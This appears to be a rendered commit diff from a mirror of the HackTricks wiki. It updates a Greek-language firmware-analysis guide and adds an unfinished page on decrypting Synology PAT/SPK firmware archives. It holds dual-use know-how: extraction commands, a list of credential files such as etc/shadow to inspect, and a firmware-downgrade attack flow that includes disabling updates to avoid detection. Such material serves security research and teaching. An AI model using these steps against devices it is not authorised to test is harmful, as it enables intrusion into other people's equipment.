mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/hardware-physical-access/firmware-analysis/README.md',
This commit is contained in:
parent
77f0c4229c
commit
107d22165c
@ -769,6 +769,7 @@
|
|||||||
- [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
|
- [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
|
||||||
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
|
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
|
||||||
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
|
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
|
||||||
|
- [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md)
|
||||||
- [Array Indexing](binary-exploitation/array-indexing.md)
|
- [Array Indexing](binary-exploitation/array-indexing.md)
|
||||||
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
|
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
|
||||||
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||||
|
@ -4,6 +4,12 @@
|
|||||||
|
|
||||||
## **Εισαγωγή**
|
## **Εισαγωγή**
|
||||||
|
|
||||||
|
### Σχετικοί πόροι
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
synology-encrypted-archive-decryption.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
Το firmware είναι το απαραίτητο λογισμικό που επιτρέπει στις συσκευές να λειτουργούν σωστά, διαχειριζόμενο και διευκολύνοντας την επικοινωνία μεταξύ των υλικών στοιχείων και του λογισμικού με το οποίο αλληλεπιδρούν οι χρήστες. Αποθηκεύεται σε μόνιμη μνήμη, διασφαλίζοντας ότι η συσκευή μπορεί να έχει πρόσβαση σε ζωτικής σημασίας οδηγίες από τη στιγμή που ενεργοποιείται, οδηγώντας στην εκκίνηση του λειτουργικού συστήματος. Η εξέταση και η πιθανή τροποποίηση του firmware είναι ένα κρίσιμο βήμα για την αναγνώριση ευπαθειών ασφαλείας.
|
Το firmware είναι το απαραίτητο λογισμικό που επιτρέπει στις συσκευές να λειτουργούν σωστά, διαχειριζόμενο και διευκολύνοντας την επικοινωνία μεταξύ των υλικών στοιχείων και του λογισμικού με το οποίο αλληλεπιδρούν οι χρήστες. Αποθηκεύεται σε μόνιμη μνήμη, διασφαλίζοντας ότι η συσκευή μπορεί να έχει πρόσβαση σε ζωτικής σημασίας οδηγίες από τη στιγμή που ενεργοποιείται, οδηγώντας στην εκκίνηση του λειτουργικού συστήματος. Η εξέταση και η πιθανή τροποποίηση του firmware είναι ένα κρίσιμο βήμα για την αναγνώριση ευπαθειών ασφαλείας.
|
||||||
|
|
||||||
## **Συλλογή Πληροφοριών**
|
## **Συλλογή Πληροφοριών**
|
||||||
@ -19,7 +25,7 @@
|
|||||||
- Αρχιτεκτονικά και ροογράμματα
|
- Αρχιτεκτονικά και ροογράμματα
|
||||||
- Αξιολογήσεις ασφαλείας και αναγνωρισμένες ευπάθειες
|
- Αξιολογήσεις ασφαλείας και αναγνωρισμένες ευπάθειες
|
||||||
|
|
||||||
Για αυτό το σκοπό, τα εργαλεία **ανοιχτής πηγής (OSINT)** είναι ανεκτίμητα, όπως και η ανάλυση οποιωνδήποτε διαθέσιμων ανοιχτών λογισμικών στοιχείων μέσω χειροκίνητων και αυτοματοποιημένων διαδικασιών αναθεώρησης. Εργαλεία όπως το [Coverity Scan](https://scan.coverity.com) και το [Semmle’s LGTM](https://lgtm.com/#explore) προσφέρουν δωρεάν στατική ανάλυση που μπορεί να αξιοποιηθεί για την εύρεση πιθανών προβλημάτων.
|
Για αυτόν τον σκοπό, τα εργαλεία **ανοιχτής πηγής (OSINT)** είναι ανεκτίμητα, όπως και η ανάλυση οποιωνδήποτε διαθέσιμων στοιχείων λογισμικού ανοιχτής πηγής μέσω χειροκίνητων και αυτοματοποιημένων διαδικασιών αναθεώρησης. Εργαλεία όπως το [Coverity Scan](https://scan.coverity.com) και το [Semmle’s LGTM](https://lgtm.com/#explore) προσφέρουν δωρεάν στατική ανάλυση που μπορεί να αξιοποιηθεί για την εύρεση πιθανών προβλημάτων.
|
||||||
|
|
||||||
## **Απόκτηση του Firmware**
|
## **Απόκτηση του Firmware**
|
||||||
|
|
||||||
@ -48,7 +54,7 @@ hexdump -C -n 512 <bin> > hexdump.out
|
|||||||
hexdump -C <bin> | head # might find signatures in header
|
hexdump -C <bin> | head # might find signatures in header
|
||||||
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||||
```
|
```
|
||||||
Αν δεν βρείτε πολλά με αυτά τα εργαλεία, ελέγξτε την **εντροπία** της εικόνας με `binwalk -E <bin>`, αν η εντροπία είναι χαμηλή, τότε είναι απίθανο να είναι κρυπτογραφημένη. Αν η εντροπία είναι υψηλή, είναι πιθανό να είναι κρυπτογραφημένη (ή συμπιεσμένη με κάποιο τρόπο).
|
Αν δεν βρείτε πολλά με αυτά τα εργαλεία, ελέγξτε την **εντροπία** της εικόνας με το `binwalk -E <bin>`, αν η εντροπία είναι χαμηλή, τότε είναι απίθανο να είναι κρυπτογραφημένη. Αν η εντροπία είναι υψηλή, είναι πιθανό να είναι κρυπτογραφημένη (ή συμπιεσμένη με κάποιο τρόπο).
|
||||||
|
|
||||||
Επιπλέον, μπορείτε να χρησιμοποιήσετε αυτά τα εργαλεία για να εξάγετε **αρχεία που είναι ενσωματωμένα μέσα στο firmware**:
|
Επιπλέον, μπορείτε να χρησιμοποιήσετε αυτά τα εργαλεία για να εξάγετε **αρχεία που είναι ενσωματωμένα μέσα στο firmware**:
|
||||||
|
|
||||||
@ -87,7 +93,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
|||||||
|
|
||||||
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
|
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
|
||||||
```
|
```
|
||||||
Εναλλακτικά, η παρακάτω εντολή μπορεί επίσης να εκτελεστεί.
|
Εναλλακτικά, η ακόλουθη εντολή θα μπορούσε επίσης να εκτελεστεί.
|
||||||
|
|
||||||
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
|
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
|
||||||
|
|
||||||
@ -132,7 +138,7 @@ fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
|||||||
|
|
||||||
### Εξαγωγή του Συστήματος Αρχείων
|
### Εξαγωγή του Συστήματος Αρχείων
|
||||||
|
|
||||||
Χρησιμοποιώντας `binwalk -ev <bin>`, μπορεί κανείς συνήθως να εξάγει το σύστημα αρχείων, συχνά σε έναν φάκελο που ονομάζεται σύμφωνα με τον τύπο του συστήματος αρχείων (π.χ., squashfs, ubifs). Ωστόσο, όταν το **binwalk** αποτυγχάνει να αναγνωρίσει τον τύπο του συστήματος αρχείων λόγω έλλειψης μαγικών byte, είναι απαραίτητη η χειροκίνητη εξαγωγή. Αυτό περιλαμβάνει τη χρήση του `binwalk` για τον εντοπισμό της μετατόπισης του συστήματος αρχείων, ακολουθούμενη από την εντολή `dd` για την εξαγωγή του συστήματος αρχείων:
|
Χρησιμοποιώντας `binwalk -ev <bin>`, μπορεί κανείς συνήθως να εξάγει το σύστημα αρχείων, συχνά σε έναν φάκελο που ονομάζεται σύμφωνα με τον τύπο του συστήματος αρχείων (π.χ., squashfs, ubifs). Ωστόσο, όταν το **binwalk** αποτυγχάνει να αναγνωρίσει τον τύπο του συστήματος αρχείων λόγω απουσίας μαγικών byte, είναι απαραίτητη η χειροκίνητη εξαγωγή. Αυτό περιλαμβάνει τη χρήση του `binwalk` για τον εντοπισμό της μετατόπισης του συστήματος αρχείων, ακολουθούμενη από την εντολή `dd` για την εξαγωγή του συστήματος αρχείων:
|
||||||
```bash
|
```bash
|
||||||
$ binwalk DIR850L_REVB.bin
|
$ binwalk DIR850L_REVB.bin
|
||||||
|
|
||||||
@ -142,15 +148,15 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
|||||||
|
|
||||||
### Ανάλυση Συστήματος Αρχείων
|
### Ανάλυση Συστήματος Αρχείων
|
||||||
|
|
||||||
Με το σύστημα αρχείων εξαγμένο, η αναζήτηση για αδυναμίες ασφαλείας αρχίζει. Δίνεται προσοχή σε ανασφαλείς δικτυακούς δαίμονες, σκληρά κωδικοποιημένα διαπιστευτήρια, API endpoints, λειτουργίες ενημέρωσης διακομιστών, μη μεταγλωττισμένο κώδικα, σενάρια εκκίνησης και μεταγλωττισμένα δυαδικά για ανάλυση εκτός σύνδεσης.
|
Με το σύστημα αρχείων εξαγμένο, η αναζήτηση για αδυναμίες ασφαλείας αρχίζει. Δίνεται προσοχή σε ανασφαλείς δικτυακούς δαίμονες, σκληρά κωδικοποιημένα διαπιστευτήρια, API endpoints, λειτουργίες ενημέρωσης διακομιστών, μη μεταγλωττισμένο κώδικα, σενάρια εκκίνησης και μεταγλωττισμένα δυαδικά αρχεία για ανάλυση εκτός σύνδεσης.
|
||||||
|
|
||||||
**Κύριες τοποθεσίες** και **αντικείμενα** προς επιθεώρηση περιλαμβάνουν:
|
**Κύριες τοποθεσίες** και **αντικείμενα** προς επιθεώρηση περιλαμβάνουν:
|
||||||
|
|
||||||
- **etc/shadow** και **etc/passwd** για διαπιστευτήρια χρηστών
|
- **etc/shadow** και **etc/passwd** για διαπιστευτήρια χρηστών
|
||||||
- Πιστοποιητικά SSL και κλειδιά στο **etc/ssl**
|
- Πιστοποιητικά SSL και κλειδιά στο **etc/ssl**
|
||||||
- Αρχεία ρυθμίσεων και σεναρίων για πιθανές ευπάθειες
|
- Αρχεία ρυθμίσεων και σεναρίων για πιθανές ευπάθειες
|
||||||
- Ενσωματωμένα δυαδικά για περαιτέρω ανάλυση
|
- Ενσωματωμένα δυαδικά αρχεία για περαιτέρω ανάλυση
|
||||||
- Κοινές διαδικτυακές υπηρεσίες και δυαδικά IoT συσκευών
|
- Κοινές διαδικτυακές υπηρεσίες και δυαδικά αρχεία IoT συσκευών
|
||||||
|
|
||||||
Πολλά εργαλεία βοηθούν στην αποκάλυψη ευαίσθητων πληροφοριών και ευπαθειών εντός του συστήματος αρχείων:
|
Πολλά εργαλεία βοηθούν στην αποκάλυψη ευαίσθητων πληροφοριών και ευπαθειών εντός του συστήματος αρχείων:
|
||||||
|
|
||||||
@ -158,21 +164,21 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
|||||||
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) για ολοκληρωμένη ανάλυση firmware
|
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) για ολοκληρωμένη ανάλυση firmware
|
||||||
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), και [**EMBA**](https://github.com/e-m-b-a/emba) για στατική και δυναμική ανάλυση
|
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), και [**EMBA**](https://github.com/e-m-b-a/emba) για στατική και δυναμική ανάλυση
|
||||||
|
|
||||||
### Έλεγχοι Ασφαλείας σε Μεταγλωττισμένα Δυαδικά
|
### Έλεγχοι Ασφαλείας σε Μεταγλωττισμένα Δυαδικά Αρχεία
|
||||||
|
|
||||||
Τόσο ο πηγαίος κώδικας όσο και τα μεταγλωττισμένα δυαδικά που βρίσκονται στο σύστημα αρχείων πρέπει να εξετάζονται για ευπάθειες. Εργαλεία όπως το **checksec.sh** για δυαδικά Unix και το **PESecurity** για δυαδικά Windows βοηθούν στην αναγνώριση μη προστατευμένων δυαδικών που θα μπορούσαν να εκμεταλλευτούν.
|
Τόσο ο πηγαίος κώδικας όσο και τα μεταγλωττισμένα δυαδικά αρχεία που βρίσκονται στο σύστημα αρχείων πρέπει να εξετάζονται για ευπάθειες. Εργαλεία όπως το **checksec.sh** για δυαδικά αρχεία Unix και το **PESecurity** για δυαδικά αρχεία Windows βοηθούν στην αναγνώριση μη προστατευμένων δυαδικών αρχείων που θα μπορούσαν να εκμεταλλευτούν.
|
||||||
|
|
||||||
## Προσομοίωση Firmware για Δυναμική Ανάλυση
|
## Προσομοίωση Firmware για Δυναμική Ανάλυση
|
||||||
|
|
||||||
Η διαδικασία προσομοίωσης firmware επιτρέπει τη **δυναμική ανάλυση** είτε της λειτουργίας μιας συσκευής είτε ενός μεμονωμένου προγράμματος. Αυτή η προσέγγιση μπορεί να συναντήσει προκλήσεις με εξαρτήσεις υλικού ή αρχιτεκτονικής, αλλά η μεταφορά του ριζικού συστήματος αρχείων ή συγκεκριμένων δυαδικών σε μια συσκευή με αντίστοιχη αρχιτεκτονική και εντοπισμό, όπως ένα Raspberry Pi, ή σε μια προ-κατασκευασμένη εικονική μηχανή, μπορεί να διευκολύνει περαιτέρω δοκιμές.
|
Η διαδικασία προσομοίωσης firmware επιτρέπει τη **δυναμική ανάλυση** είτε της λειτουργίας μιας συσκευής είτε ενός μεμονωμένου προγράμματος. Αυτή η προσέγγιση μπορεί να συναντήσει προκλήσεις με εξαρτήσεις υλικού ή αρχιτεκτονικής, αλλά η μεταφορά του ριζικού συστήματος αρχείων ή συγκεκριμένων δυαδικών αρχείων σε μια συσκευή με αντίστοιχη αρχιτεκτονική και εντοπισμό, όπως ένα Raspberry Pi, ή σε μια προ-κατασκευασμένη εικονική μηχανή, μπορεί να διευκολύνει περαιτέρω δοκιμές.
|
||||||
|
|
||||||
### Προσομοίωση Μεμονωμένων Δυαδικών
|
### Προσομοίωση Μεμονωμένων Δυαδικών Αρχείων
|
||||||
|
|
||||||
Για την εξέταση μεμονωμένων προγραμμάτων, η αναγνώριση του εντοπισμού και της αρχιτεκτονικής CPU του προγράμματος είναι κρίσιμη.
|
Για την εξέταση μεμονωμένων προγραμμάτων, η αναγνώριση του εντοπισμού και της αρχιτεκτονικής CPU του προγράμματος είναι κρίσιμη.
|
||||||
|
|
||||||
#### Παράδειγμα με Αρχιτεκτονική MIPS
|
#### Παράδειγμα με Αρχιτεκτονική MIPS
|
||||||
|
|
||||||
Για να προσομοιωθεί ένα δυαδικό αρχιτεκτονικής MIPS, μπορεί να χρησιμοποιηθεί η εντολή:
|
Για να προσομοιωθεί ένα δυαδικό αρχείο αρχιτεκτονικής MIPS, μπορεί να χρησιμοποιηθεί η εντολή:
|
||||||
```bash
|
```bash
|
||||||
file ./squashfs-root/bin/busybox
|
file ./squashfs-root/bin/busybox
|
||||||
```
|
```
|
||||||
@ -184,7 +190,7 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
|
|||||||
|
|
||||||
#### Προσομοίωση Αρχιτεκτονικής ARM
|
#### Προσομοίωση Αρχιτεκτονικής ARM
|
||||||
|
|
||||||
Για τα ARM δυαδικά, η διαδικασία είναι παρόμοια, με τον προσομοιωτή `qemu-arm` να χρησιμοποιείται για την προσομοίωση.
|
Για τα δυαδικά ARM, η διαδικασία είναι παρόμοια, με τον προσομοιωτή `qemu-arm` να χρησιμοποιείται για την προσομοίωση.
|
||||||
|
|
||||||
### Πλήρης Προσομοίωση Συστήματος
|
### Πλήρης Προσομοίωση Συστήματος
|
||||||
|
|
||||||
@ -192,28 +198,28 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
|
|||||||
|
|
||||||
## Δυναμική Ανάλυση στην Πράξη
|
## Δυναμική Ανάλυση στην Πράξη
|
||||||
|
|
||||||
Σε αυτό το στάδιο, χρησιμοποιείται είτε ένα πραγματικό είτε ένα προσομοιωμένο περιβάλλον συσκευής για ανάλυση. Είναι απαραίτητο να διατηρείται η πρόσβαση στο shell του λειτουργικού συστήματος και στο σύστημα αρχείων. Η προσομοίωση μπορεί να μην μιμείται τέλεια τις αλληλεπιδράσεις υλικού, απαιτώντας περιστασιακές επανεκκινήσεις προσομοίωσης. Η ανάλυση θα πρέπει να επανεξετάσει το σύστημα αρχείων, να εκμεταλλευτεί τις εκτεθειμένες ιστοσελίδες και υπηρεσίες δικτύου, και να εξερευνήσει τις ευπάθειες του bootloader. Οι δοκιμές ακεραιότητας firmware είναι κρίσιμες για την αναγνώριση πιθανών ευπαθειών backdoor.
|
Σε αυτό το στάδιο, χρησιμοποιείται είτε ένα πραγματικό είτε ένα προσομοιωμένο περιβάλλον συσκευής για ανάλυση. Είναι απαραίτητο να διατηρείται η πρόσβαση στο shell του OS και του filesystem. Η προσομοίωση μπορεί να μην μιμείται τέλεια τις αλληλεπιδράσεις του υλικού, απαιτώντας περιστασιακές επανεκκινήσεις προσομοίωσης. Η ανάλυση θα πρέπει να επανεξετάσει το filesystem, να εκμεταλλευτεί τις εκτεθειμένες ιστοσελίδες και υπηρεσίες δικτύου, και να εξερευνήσει τις ευπάθειες του bootloader. Οι δοκιμές ακεραιότητας firmware είναι κρίσιμες για την αναγνώριση πιθανών ευπαθειών backdoor.
|
||||||
|
|
||||||
## Τεχνικές Ανάλυσης σε Χρόνο Εκτέλεσης
|
## Τεχνικές Ανάλυσης σε Χρόνο Εκτέλεσης
|
||||||
|
|
||||||
Η ανάλυση σε χρόνο εκτέλεσης περιλαμβάνει την αλληλεπίδραση με μια διαδικασία ή δυαδικό στο λειτουργικό του περιβάλλον, χρησιμοποιώντας εργαλεία όπως το gdb-multiarch, το Frida και το Ghidra για την τοποθέτηση σημείων διακοπής και την αναγνώριση ευπαθειών μέσω fuzzing και άλλων τεχνικών.
|
Η ανάλυση σε χρόνο εκτέλεσης περιλαμβάνει την αλληλεπίδραση με μια διαδικασία ή δυαδικό στο λειτουργικό του περιβάλλον, χρησιμοποιώντας εργαλεία όπως το gdb-multiarch, το Frida και το Ghidra για τη ρύθμιση σημείων διακοπής και την αναγνώριση ευπαθειών μέσω fuzzing και άλλων τεχνικών.
|
||||||
|
|
||||||
## Εκμετάλλευση Δυαδικών και Απόδειξη της Έννοιας
|
## Εκμετάλλευση Δυαδικών και Απόδειξη της Έννοιας
|
||||||
|
|
||||||
Η ανάπτυξη ενός PoC για τις αναγνωρισμένες ευπάθειες απαιτεί βαθιά κατανόηση της αρχιτεκτονικής στόχου και προγραμματισμό σε γλώσσες χαμηλού επιπέδου. Οι προστασίες σε χρόνο εκτέλεσης σε ενσωματωμένα συστήματα είναι σπάνιες, αλλά όταν υπάρχουν, τεχνικές όπως το Return Oriented Programming (ROP) μπορεί να είναι απαραίτητες.
|
Η ανάπτυξη ενός PoC για τις αναγνωρισμένες ευπάθειες απαιτεί βαθιά κατανόηση της αρχιτεκτονικής στόχου και προγραμματισμό σε γλώσσες χαμηλού επιπέδου. Οι προστασίες runtime σε δυαδικά συστήματα είναι σπάνιες, αλλά όταν υπάρχουν, τεχνικές όπως το Return Oriented Programming (ROP) μπορεί να είναι απαραίτητες.
|
||||||
|
|
||||||
## Προετοιμασμένα Λειτουργικά Συστήματα για Ανάλυση Firmware
|
## Προετοιμασμένα Λειτουργικά Συστήματα για Ανάλυση Firmware
|
||||||
|
|
||||||
Λειτουργικά συστήματα όπως το [AttifyOS](https://github.com/adi0x90/attifyos) και το [EmbedOS](https://github.com/scriptingxss/EmbedOS) παρέχουν προ-ρυθμισμένα περιβάλλοντα για δοκιμές ασφάλειας firmware, εξοπλισμένα με τα απαραίτητα εργαλεία.
|
Λειτουργικά συστήματα όπως το [AttifyOS](https://github.com/adi0x90/attifyos) και το [EmbedOS](https://github.com/scriptingxss/EmbedOS) παρέχουν προ-ρυθμισμένα περιβάλλοντα για δοκιμές ασφάλειας firmware, εξοπλισμένα με τα απαραίτητα εργαλεία.
|
||||||
|
|
||||||
## Προετοιμασμένα Λειτουργικά Συστήματα για Ανάλυση Firmware
|
## Προετοιμασμένα OS για ανάλυση Firmware
|
||||||
|
|
||||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): Το AttifyOS είναι μια διανομή που προορίζεται να σας βοηθήσει να εκτελέσετε αξιολόγηση ασφάλειας και δοκιμές διείσδυσης συσκευών Internet of Things (IoT). Σας εξοικονομεί πολύ χρόνο παρέχοντας ένα προ-ρυθμισμένο περιβάλλον με όλα τα απαραίτητα εργαλεία φορτωμένα.
|
- [**AttifyOS**](https://github.com/adi0x90/attifyos): Το AttifyOS είναι μια διανομή που προορίζεται να σας βοηθήσει να εκτελέσετε αξιολόγηση ασφάλειας και δοκιμές διείσδυσης συσκευών Internet of Things (IoT). Σας εξοικονομεί πολύ χρόνο παρέχοντας ένα προ-ρυθμισμένο περιβάλλον με όλα τα απαραίτητα εργαλεία φορτωμένα.
|
||||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Λειτουργικό σύστημα δοκιμών ασφάλειας ενσωματωμένων συστημάτων βασισμένο στο Ubuntu 18.04 με προφορτωμένα εργαλεία δοκιμών ασφάλειας firmware.
|
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Λειτουργικό σύστημα δοκιμών ασφάλειας ενσωματωμένων συστημάτων βασισμένο στο Ubuntu 18.04 με προφορτωμένα εργαλεία δοκιμών ασφάλειας firmware.
|
||||||
|
|
||||||
## Επιθέσεις Υποβάθμισης Firmware & Ανασφαλείς Μηχανισμοί Ενημέρωσης
|
## Επιθέσεις Υποβάθμισης Firmware & Ανασφαλείς Μηχανισμοί Ενημέρωσης
|
||||||
|
|
||||||
Ακόμα και όταν ένας προμηθευτής εφαρμόζει ελέγχους κρυπτογραφικής υπογραφής για εικόνες firmware, **η προστασία από υποβάθμιση (rollback) εκλείπει συχνά**. Όταν ο boot- ή recovery-loader επαληθεύει μόνο την υπογραφή με μια ενσωματωμένη δημόσια κλειδί αλλά δεν συγκρίνει την *έκδοση* (ή έναν μονοτονικό μετρητή) της εικόνας που αναβοσβήνει, ένας επιτιθέμενος μπορεί νόμιμα να εγκαταστήσει ένα **παλαιότερο, ευάλωτο firmware που εξακολουθεί να φέρει μια έγκυρη υπογραφή** και έτσι να επαναφέρει τις διορθωμένες ευπάθειες.
|
Ακόμα και όταν ένας προμηθευτής εφαρμόζει ελέγχους κρυπτογραφικής υπογραφής για εικόνες firmware, **η προστασία από υποβάθμιση (rollback) εκλείπει συχνά**. Όταν ο boot- ή recovery-loader επαληθεύει μόνο την υπογραφή με μια ενσωματωμένη δημόσια κλειδί αλλά δεν συγκρίνει την *έκδοση* (ή έναν μονοτονικό μετρητή) της εικόνας που αναβοσβήνει, ένας επιτιθέμενος μπορεί νόμιμα να εγκαταστήσει ένα **παλαιότερο, ευάλωτο firmware που φέρει ακόμα μια έγκυρη υπογραφή** και έτσι να επαναφέρει τις ευπάθειες που έχουν διορθωθεί.
|
||||||
|
|
||||||
Τυπική ροή επίθεσης:
|
Τυπική ροή επίθεσης:
|
||||||
|
|
||||||
@ -223,8 +229,8 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
|
|||||||
* Ανακτήστε την από τρίτους αποθετήρια όπως το VirusTotal, αρχεία του διαδικτύου, φόρουμ κ.λπ.
|
* Ανακτήστε την από τρίτους αποθετήρια όπως το VirusTotal, αρχεία του διαδικτύου, φόρουμ κ.λπ.
|
||||||
2. **Ανεβάστε ή εξυπηρετήστε την εικόνα στη συσκευή** μέσω οποιουδήποτε εκτεθειμένου καναλιού ενημέρωσης:
|
2. **Ανεβάστε ή εξυπηρετήστε την εικόνα στη συσκευή** μέσω οποιουδήποτε εκτεθειμένου καναλιού ενημέρωσης:
|
||||||
* Web UI, API εφαρμογής κινητού, USB, TFTP, MQTT, κ.λπ.
|
* Web UI, API εφαρμογής κινητού, USB, TFTP, MQTT, κ.λπ.
|
||||||
* Πολλές καταναλωτικές IoT συσκευές εκθέτουν *μη αυθεντικοποιημένα* HTTP(S) endpoints που δέχονται Base64-encoded firmware blobs, τα αποκωδικοποιούν server-side και ενεργοποιούν την ανάκτηση/αναβάθμιση.
|
* Πολλές συσκευές IoT καταναλωτών εκθέτουν *μη αυθεντικοποιημένα* HTTP(S) endpoints που δέχονται Base64-encoded firmware blobs, τα αποκωδικοποιούν στην πλευρά του διακομιστή και ενεργοποιούν την ανάκτηση/αναβάθμιση.
|
||||||
3. Μετά την υποβάθμιση, εκμεταλλευτείτε μια ευπάθεια που είχε διορθωθεί στην νεότερη έκδοση (για παράδειγμα, ένα φίλτρο εντολών που προστέθηκε αργότερα).
|
3. Μετά την υποβάθμιση, εκμεταλλευτείτε μια ευπάθεια που έχει διορθωθεί στην νεότερη έκδοση (για παράδειγμα, ένα φίλτρο εντολών που προστέθηκε αργότερα).
|
||||||
4. Προαιρετικά αναβοσβήστε την τελευταία εικόνα πίσω ή απενεργοποιήστε τις ενημερώσεις για να αποφύγετε την ανίχνευση μόλις αποκτηθεί η επιμονή.
|
4. Προαιρετικά αναβοσβήστε την τελευταία εικόνα πίσω ή απενεργοποιήστε τις ενημερώσεις για να αποφύγετε την ανίχνευση μόλις αποκτηθεί η επιμονή.
|
||||||
|
|
||||||
### Παράδειγμα: Εκτέλεση Εντολών Μετά την Υποβάθμιση
|
### Παράδειγμα: Εκτέλεση Εντολών Μετά την Υποβάθμιση
|
||||||
@ -250,7 +256,7 @@ firmware_v1.3.11.490_signed.bin
|
|||||||
* Συγκρίνει η συσκευή **αριθμούς εκδόσεων** ή έναν **μονοτονικό μετρητή αντεπίθεσης** πριν από την αναβάθμιση;
|
* Συγκρίνει η συσκευή **αριθμούς εκδόσεων** ή έναν **μονοτονικό μετρητή αντεπίθεσης** πριν από την αναβάθμιση;
|
||||||
* Επαληθεύεται η εικόνα μέσα σε μια ασφαλή αλυσίδα εκκίνησης (π.χ. υπογραφές που ελέγχονται από κώδικα ROM);
|
* Επαληθεύεται η εικόνα μέσα σε μια ασφαλή αλυσίδα εκκίνησης (π.χ. υπογραφές που ελέγχονται από κώδικα ROM);
|
||||||
* Εκτελεί ο κώδικας του χρήστη επιπλέον ελέγχους εγκυρότητας (π.χ. επιτρεπόμενος χάρτης κατατμήσεων, αριθμός μοντέλου);
|
* Εκτελεί ο κώδικας του χρήστη επιπλέον ελέγχους εγκυρότητας (π.χ. επιτρεπόμενος χάρτης κατατμήσεων, αριθμός μοντέλου);
|
||||||
* Επαναχρησιμοποιούν οι ροές ενημέρωσης *μερικής* ή *αντίγραφης* την ίδια λογική επικύρωσης;
|
* Επαναχρησιμοποιούν οι ροές *μερικής* ή *αντίγραφης* ενημέρωσης την ίδια λογική επικύρωσης;
|
||||||
|
|
||||||
> 💡 Εάν λείπει οποιοδήποτε από τα παραπάνω, η πλατφόρμα είναι πιθανό να είναι ευάλωτη σε επιθέσεις αντεπίθεσης.
|
> 💡 Εάν λείπει οποιοδήποτε από τα παραπάνω, η πλατφόρμα είναι πιθανό να είναι ευάλωτη σε επιθέσεις αντεπίθεσης.
|
||||||
|
|
||||||
|
@ -0,0 +1,162 @@
|
|||||||
|
# Synology PAT/SPK Encrypted Archive Decryption
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
## Overview
|
||||||
|
|
||||||
|
Πολλές συσκευές Synology (DSM/BSM NAS, BeeStation, …) διανέμουν το firmware και τα πακέτα εφαρμογών τους σε **κρυπτογραφημένα PAT / SPK αρχεία**. Αυτά τα αρχεία μπορούν να αποκρυπτογραφηθούν *offline* μόνο με τα δημόσια αρχεία λήψης χάρη σε σκληρά κωδικοποιημένα κλειδιά που είναι ενσωματωμένα μέσα στις επίσημες βιβλιοθήκες εξαγωγής.
|
||||||
|
|
||||||
|
Αυτή η σελίδα τεκμηριώνει, βήμα-βήμα, πώς λειτουργεί η κρυπτογραφημένη μορφή και πώς να ανακτήσετε πλήρως το καθαρό κείμενο **TAR** που βρίσκεται μέσα σε κάθε πακέτο. Η διαδικασία βασίζεται σε έρευνα της Synacktiv που πραγματοποιήθηκε κατά τη διάρκεια του Pwn2Own Ireland 2024 και υλοποιήθηκε στο εργαλείο ανοιχτού κώδικα [`synodecrypt`](https://github.com/synacktiv/synodecrypt).
|
||||||
|
|
||||||
|
> ⚠️ Η μορφή είναι ακριβώς η ίδια και για τα `*.pat` (αναβάθμιση συστήματος) και `*.spk` (εφαρμογή) αρχεία – διαφέρουν μόνο στο ζευγάρι σκληρά κωδικοποιημένων κλειδιών που επιλέγονται.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Grab the archive
|
||||||
|
|
||||||
|
Η αναβάθμιση του firmware/εφαρμογής μπορεί κανονικά να ληφθεί από το δημόσιο portal της Synology:
|
||||||
|
```bash
|
||||||
|
$ wget https://archive.synology.com/download/Os/BSM/BSM_BST150-4T_65374.pat
|
||||||
|
```
|
||||||
|
## 2. Dump the PAT structure (optional)
|
||||||
|
|
||||||
|
`*.pat` images are themselves a **cpio bundle** that embeds several files (boot loader, kernel, rootfs, packages…). The free utility [`patology`](https://github.com/sud0woodo/patology) είναι βολικό για να επιθεωρήσετε αυτή τη συσκευασία:
|
||||||
|
```bash
|
||||||
|
